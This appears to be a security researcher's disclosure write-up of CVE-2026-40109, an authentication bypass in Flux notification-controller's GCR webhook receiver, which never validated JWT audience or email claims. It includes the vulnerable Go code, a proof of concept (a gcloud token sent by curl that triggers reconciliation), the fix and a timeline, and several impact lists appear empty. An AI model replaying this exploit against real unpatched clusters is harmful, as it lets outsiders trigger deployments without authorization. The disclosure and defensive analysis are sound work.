TL;DR

Flux notification-controller’s GCR receiver verified that incoming JWT tokens were signed by Google but never checked what project or service account the token was issued for. Any valid Google OIDC token from any account passed authentication. A free Gmail account was enough to trigger unauthorized Flux reconciliations on a victim’s cluster.


Background

Flux is a widely used GitOps tool for Kubernetes. It is made up of several separate controllers — source-controller, kustomize-controller, helm-controller, and notification-controller. Each ships with its own version number under the Flux umbrella release.

This vulnerability is in notification-controller specifically — the component that handles incoming webhooks from external systems like GitHub, GitLab, Bitbucket, and Google Container Registry (GCR). When you install Flux v2.8.2, it bundles notification-controller v1.8.2, which contains this bug. No other Flux controller is affected.

For GCR, Flux integrates with Google Pub/Sub. When a new image is pushed to GCR, Google sends a signed HTTP push notification to a configured Flux webhook URL. To prove the notification is genuine, Google attaches a signed OIDC JWT token to each request.

A valid JWT from Google contains three important claims:

Claim Meaning Should Flux check it?
iss Issuer — must be accounts.google.com Yes
aud Audience — must match your webhook URL Yes
email Service account that sent the message Yes

Flux checked the issuer. It never checked the audience or the email.


The vulnerable code

Affected component: notification-controller
Affected repo: github.com/fluxcd/notification-controller
Affected file: internal/server/receiver_handlers.go
Affected function: authenticateGCRRequest()
Flux version: v2.8.2 (notification-controller v1.8.2)

func authenticateGCRRequest(c *http.Client, bearer string, tokenIndex int) (err error) {
    type auth struct {
        Aud string `json:"aud"` // decoded but NEVER validated
    }

    token := bearer[tokenIndex:]
    url := fmt.Sprintf("https://oauth2.googleapis.com/tokeninfo?id_token=%s", token)

    resp, err := c.Get(url)
    if err != nil {
        return fmt.Errorf("cannot verify authenticity of payload: %w", err)
    }

    var p auth
    if err := json.NewDecoder(resp.Body).Decode(&p); err != nil {
        return fmt.Errorf("cannot decode auth payload: %w", err)
    }

    return nil  // BUG: p.Aud decoded above but never compared
                // BUG: email claim never read or checked at all
}

Three problems in one function:

Bug 1 — Audience (aud) decoded but never validated. The Aud field is populated from Google’s tokeninfo response and then silently ignored. The function returns nil (success) unconditionally.

Bug 2 — Email claim never read. The email claim — which identifies the GCP service account that sent the Pub/Sub message — is not read from the token at all. No struct field, no check, no comparison.

Bug 3 — Secret token unused for GCR. Every other receiver type uses the secretRef token to validate the request. For GCR, the secret token is fetched but never passed to authenticateGCRRequest:

// token is fetched from secretRef earlier...
err := authenticateGCRRequest(&http.Client{}, r.Header.Get("Authorization"), tokenIndex)
// ...but never passed. GCR is the only receiver type that ignores its own secret.

Grep confirmation — aud referenced exactly once in the entire codebase:

$ grep -rn "Aud|audience|aud" internal/server/
receiver_handlers.go:583: Aud string `json:"aud"` (struct definition only — never compared)

$ grep -rn "GCR|gcr" api/v1/
(no output — no expected audience field exists in the API spec)

Proof of concept

Environment: Ubuntu 22.04, kind v0.23.0, Flux v2.8.2

Setup

# Create cluster and install Flux
kind create cluster
flux install

# Create a secret for the GCR receiver
kubectl create secret generic gcr-token \
  --from-literal=token=supersecretrandomtoken

# Create a GCR receiver watching a GitRepository
cat <<EOF | kubectl apply -f -
apiVersion: notification.toolkit.fluxcd.io/v1
kind: Receiver
metadata:
  name: gcr-receiver
  namespace: default
spec:
  type: gcr
  secretRef:
    name: gcr-token
  resources:
    - apiVersion: source.toolkit.fluxcd.io/v1
      kind: GitRepository
      name: podinfo
      namespace: default
EOF

# Get the generated webhook path
kubectl get receiver gcr-receiver -o jsonpath='{.status.webhookPath}'
# /hook/580dfb045e0b94609ecb5a256f351eaca72a0072c8b78d0343c1c05b63a016f0

# Forward the port
kubectl port-forward -n flux-system svc/notification-controller 9292:9292

The attack

# Get a real Google OIDC token from my own account — any Google account works
TOKEN=$(gcloud auth print-identity-token)

# Decode token claims — shows the aud has nothing to do with the victim
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

Token claims:

{
  "iss": "https://accounts.google.com",
  "aud": "32555943399.apps.googleusercontent.com",
  "email": "attacker@gmail.com",
  "email_verified": true
}

The aud value 32555943399.apps.googleusercontent.com is Google’s own gcloud CLI client ID — completely unrelated to the victim’s Flux instance, GCR project, or Pub/Sub subscription.

# Send crafted GCR Pub/Sub payload with attacker's unrelated token
curl -X POST "http://localhost:9292/hook/580dfb045e0b94609ecb5a256f351eaca72a0072c8b78d0343c1c05b63a016f0" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "message": {
      "data": "eyJhY3Rpb24iOiJJTlNFUlQiLCJkaWdlc3QiOiJ1cy1lYXN0MS1kb2NrZXIucGtnLmRldi9teS1wcm9qZWN0L215LXJlcG8vYXBwMUBzaGEyNTY6NmVjMTI4ZTI2Y2Q1IiwidGFnIjoidXMtZWFzdDEtZG9ja2VyLnBrZy5kZXYvbXktcHJvamVjdC9teS1yZXBvL2FwcDE6djEuMi4zIn0="
    }
  }'

Result:

HTTP/1.1 200 OK

Reconcile annotation before the request: empty
Reconcile annotation after:

reconcile.fluxcd.io/requestedAt: 2026-03-15 16:37:37.485992363 +0000 UTC

Flux accepted the token — whose audience had no relation to the victim — and triggered reconciliation on the targeted GitRepository. Audience is never validated.


Impact

What an attacker needs:

What an attacker can do:

What limits the impact:

Why the webhook URL is not a sufficient security boundary:
Webhook URLs appear in logs, monitoring dashboards, Pub/Sub subscription configurations, and CI/CD pipelines. Treating URL secrecy as the primary security control is not sound design — the token authentication exists precisely to be the actual security boundary, and it was broken.


How notification-controller was fixed in v1.8.3

Fix PR: fluxcd/notification-controller#1279

1. Replaced manual tokeninfo call with Google’s official library

The old code called oauth2.googleapis.com/tokeninfo manually and ignored the response claims. The fix replaces this with Google’s official google.golang.org/api/idtoken library, which handles signature verification and audience validation correctly in one call:

// OLD — manual tokeninfo call, claims ignored
url := fmt.Sprintf("https://oauth2.googleapis.com/tokeninfo?id_token=%s", token)
resp, err := c.Get(url)
var p auth
json.NewDecoder(resp.Body).Decode(&p)
return nil  // always succeeds

// NEW — official library, audience validated automatically
v, err := idtoken.NewValidator(ctx)
payload, err := v.Validate(ctx, token, expectedAudience)
// Validate() returns error if audience does not match

2. Function signature extended to accept expected values from the secret

// OLD — no expected values passed in
func authenticateGCRRequest(c *http.Client, bearer string, tokenIndex int) error

// NEW — validates against expected values read from the Kubernetes secret
func authenticateGCRRequest(ctx context.Context, bearer string,
    expectedEmail string, expectedAudience string) error {

    // idtoken.Validate() checks audience automatically, then:

    // Check issuer
    issuer, _ := payload.Claims["iss"].(string)
    if issuer != "accounts.google.com" &&
        issuer != "https://accounts.google.com" {
        return fmt.Errorf("token issuer is '%s', want 'accounts.google.com'", issuer)
    }

    // Check email matches the configured service account
    email, _ := payload.Claims["email"].(string)
    emailVerified, _ := payload.Claims["email_verified"].(bool)
    if expectedEmail != "" && email != expectedEmail {
        return fmt.Errorf("token email is '%s', want '%s'", email, expectedEmail)
    }
    if !emailVerified {
        return fmt.Errorf("token email '%s' is not verified", email)
    }

    return nil
}

3. Audience reconstructed from the request when not explicitly set

audience := string(secret.Data["audience"])
if audience == "" {
    // Reconstruct from the incoming request URL
    // This matches how Google Pub/Sub sets the audience by default
    scheme := "https"
    if proto := r.Header.Get("X-Forwarded-Proto"); proto != "" {
        scheme = proto
    }
    audience = scheme + "://" + r.Host + r.URL.Path
}

4. Secret format updated

apiVersion: v1
kind: Secret
metadata:
  name: gcr-webhook-token
  namespace: apps
type: Opaque
stringData:
  token: <random token>
  email: <service-account>@<project>.iam.gserviceaccount.com
  # optional — set only if you configured a custom audience in Pub/Sub
  # audience: https://your-flux-endpoint/hook/...

5. Test infrastructure fixed

The existing test sent "Bearer token" (an invalid token) and expected HTTP 200 — meaning the auth code path was completely untested. The fix adds a gcrTokenValidator interface so tests mock the Google API call without hitting real Google servers:

gcrTokenValidator: func(_ context.Context, bearer string,
    expectedEmail string, expectedAudience string) error {
    if bearer == "" {
        return fmt.Errorf("missing authorization header")
    }
    return nil
},

Summary of what changed

  Before (v1.8.2) After (v1.8.3)
Token signature Verified via tokeninfo Verified via idtoken library
Audience (aud) Decoded, never checked Validated by idtoken.Validate()
Issuer (iss) Not checked Checked against accounts.google.com
Email Never read Checked against secret’s email key
email_verified Not checked Must be true
Secret email key Not used Documented as required (code-enforced in Flux v2.9.0)
Test coverage Broken — auth path untested Fixed with mock validator interface

Note: The fix in notification-controller v1.8.3 makes the email and audience fields optional for backward compatibility. Flux v2.9.0 — not yet released as of this writing, current latest is Flux v2.8.5 — will make email mandatory as a breaking change. Do not wait for v2.9.0 — add the email key to your GCR Receiver secret now.


Timeline

Date Event
March 15, 2026 Vulnerability discovered during code review
March 15, 2026 End-to-end PoC confirmed on kind cluster with Flux v2.8.2
March 15, 2026 Reported to cncf-flux-security@lists.cncf.io
April 5, 2026 Flux security team acknowledged and began fix
April 8, 2026 Fix merged — notification-controller v1.8.3 released, bundled in Flux v2.8.5
April 9, 2026 CVE-2026-40109 assigned by GitHub Security
April 9, 2026 Public disclosure

Key takeaway

Decoding a JWT claim is not the same as validating it.

The aud field was present in the struct, populated from Google’s response, and silently ignored. This class of bug parsing security-relevant data but not enforcing it is easy to introduce and hard to catch in code review because the code looks correct at a glance.

Google’s Pub/Sub documentation explicitly lists audience and email validation as required steps. When integrating a third-party authentication protocol, always read the provider’s full validation requirements — not just the minimum to make tokens decode successfully.


References